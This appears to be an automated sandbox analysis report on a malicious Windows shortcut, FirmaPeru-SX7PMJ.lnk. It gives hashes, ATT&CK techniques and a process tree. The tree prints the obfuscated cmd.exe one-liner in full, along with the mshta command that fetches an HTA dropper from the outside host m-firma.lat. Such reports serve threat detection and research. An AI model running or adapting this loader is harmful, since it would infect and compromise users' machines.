a581862ce679d923c71f2e9ba27a72d8b60399954d11c26c0765a09efe21f4ee

Analysis

max time kernel
60s
max time network
58s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 15:45

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General

Target
FirmaPeru-SX7PMJ.lnk
Size 1KB
Sample260817-s7ekdatepg
SHA256 a581862ce679d923c71f2e9ba27a72d8b60399954d11c26c0765a09efe21f4ee
MD5 0a1111df949f1af12d550bfec6b7173e
SHA1 b78a621c74294401b2cdcc51b7f19feb07b2887a
SHA512 beadac04e69f5018ef2866b6863ea0bac3056406c6f03a71a9b16ba529e6f084b9f772c8c5fb20e23d7d59a2b9bb14eefab29d71dbb6bad934c10c093ee89980
TLSH
T1324189506DDA41E4E3BBCE37DCFEA3844537B9206CB2DA8D0D40979D5422241E673F66
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4956	cmd.exe
3408	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4956 wrote to memory of 3408	4956	cmd.exe	90
PID 3408 wrote to memory of 1140	3408	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-SX7PMJ.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4956
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set qVhp=infujpspbfeqkrehinf&&set NXgk=4msdw&&set zN=8h51&&set qUh=8t0tain&&set Ufe=bakwblrzfbak&&set gKV=bakfyjhbak&&set mhAP=logxnjdsxtctqlxhlog&&set yL=oldilkcewirpyold&&set gII=netbexhkcfzbxattnet&&set UWdxr=47gsi9&&set HWUGn=u7tarte&&set CW=h@ttps:@/@/@m-f@[email protected]@at/h@/@es@tag@[email protected]?@r@=26@1A6@CF54@682&&start /b !NXgk:~1,2!!zN:~1,1!!qUh:~3,2! !CW:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\System32\mshta.exe
    mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
    3⤵
    PID:1140

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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